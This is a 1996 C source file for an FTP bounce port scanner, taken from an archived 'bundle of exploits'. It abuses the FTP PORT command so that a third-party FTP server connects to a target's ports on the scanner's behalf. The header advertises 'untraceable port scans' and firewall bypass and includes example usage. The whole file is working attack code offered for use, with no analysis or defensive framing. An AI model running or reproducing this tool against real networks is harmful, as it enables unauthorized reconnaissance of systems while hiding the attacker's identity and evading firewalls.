home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / ftp-scan.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  3KB  |  136 lines

  1. /*
  2.  * FTP Scan (C) 1996 Kit Knox <kit@connectnet.com>
  3.  *
  4.  * Exploits bug in FTP protocol that allows user to connect to arbritary
  5.  * IP address and port.
  6.  *
  7.  * Features: Untraceable port scans.  Bypass firewalls!
  8.  *
  9.  * Example usage:
  10.  *
  11.  * ftp-scan ftp.cdrom.com 127.0.0.1 0 1024
  12.  *
  13.  * This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024
  14.  *
  15.  */
  16.  
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <sys/param.h>
  20. #include <sys/socket.h>
  21. #include <netinet/in.h>
  22. #include <netdb.h>
  23. #include <stdarg.h>
  24.  
  25. int sock;
  26. char line[1024];
  27.  
  28. void rconnect(char *server)
  29. {
  30.   struct sockaddr_in sin;
  31.   struct hostent *hp;
  32.  
  33.   hp = gethostbyname(server);
  34.   if (hp==NULL) {
  35.     printf("Unknown host: %s\n",server);
  36.     exit(0);
  37.   }
  38.   bzero((char*) &sin, sizeof(sin));
  39.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  40.   sin.sin_family = hp->h_addrtype;
  41.   sin.sin_port = htons(21);
  42.   sock = socket(AF_INET, SOCK_STREAM, 0);
  43.   connect(sock,(struct sockaddr *) &sin, sizeof(sin));
  44. }
  45.  
  46. void login(void)
  47. {
  48.   char buf[1024];
  49.  
  50.   sprintf(buf,"USER ftp\n");
  51.   send(sock, buf, strlen(buf),0);
  52.   sleep(1);
  53.   sprintf(buf,"PASS user@\n");
  54.   send(sock, buf, strlen(buf),0);
  55. }
  56.  
  57. void readln(void)
  58. {
  59.   int i,done=0,w;
  60.   char tmp[1];
  61.  
  62.   sprintf(line,"");
  63.   i = 0;
  64.   while (!done) {
  65.     w=read(sock,tmp, 1, 0);
  66.     if (tmp[0] != 0) {
  67.       line[i] = tmp[0];
  68.     }
  69.     if (line[i] == '\n') {
  70.       done = 1;
  71.     }
  72.     i++;
  73.   }
  74.   line[i] = 0;
  75. }
  76.  
  77. void sendln(char s[1024]) {
  78.   send(sock, s, strlen(s),0);
  79. }
  80.  
  81. #define UC(b)   (((int)b)&0xff)
  82.  
  83. void main(int argc, char **argv)
  84. {
  85.   char buf[1024];
  86.   int i;
  87.   u_short sport,eport;
  88.   register char *p,*a;
  89.   struct hostent *hp;
  90.   struct sockaddr_in sin;
  91.   char adr[1024];
  92.  
  93.   if (argc != 5) {
  94.     printf("usage: ftp-scan ftp_server scan_host loport hiport\n");
  95.     exit(-1);
  96.   }
  97.  
  98.   hp = gethostbyname(argv[2]);
  99.   if (hp==NULL) {
  100.     printf("Unknown host: %s\n",argv[2]);
  101.     exit(0);
  102.   }
  103.   bzero((char*) &sin, sizeof(sin));
  104.   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  105.  
  106.   rconnect(argv[1]);
  107.   /* Login anon to server */
  108.   login();
  109.   /* Make sure we are in */
  110.   for (i=0; i<200; i++) {
  111.     readln();
  112.     if (strstr(line,"230 Guest")) {
  113.       printf("%s",line);
  114.       i = 200;
  115.     }
  116.   }
  117.   a=(char *)&sin.sin_addr;
  118.   sport = atoi(argv[3]);
  119.   eport = atoi(argv[4]);
  120.   sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3]));
  121.   for (i=sport; i<eport; i++) {
  122.     sin.sin_port = htons(i);
  123.     p=(char *)&sin.sin_port;
  124.     sprintf(buf,"\nPORT %s,%i,%i\nLIST\n",adr,UC(p[0]),UC(p[1]));
  125.     sendln(buf);
  126.     sprintf(line,"");
  127.     while (!strstr(line, "150") && !strstr(line,"425")) {
  128.       readln();
  129.     }
  130.     if (strstr(line,"150")) {
  131.       printf("%i connected.\n",i);
  132.     }
  133.   }
  134.   close(sock);
  135. }
  136.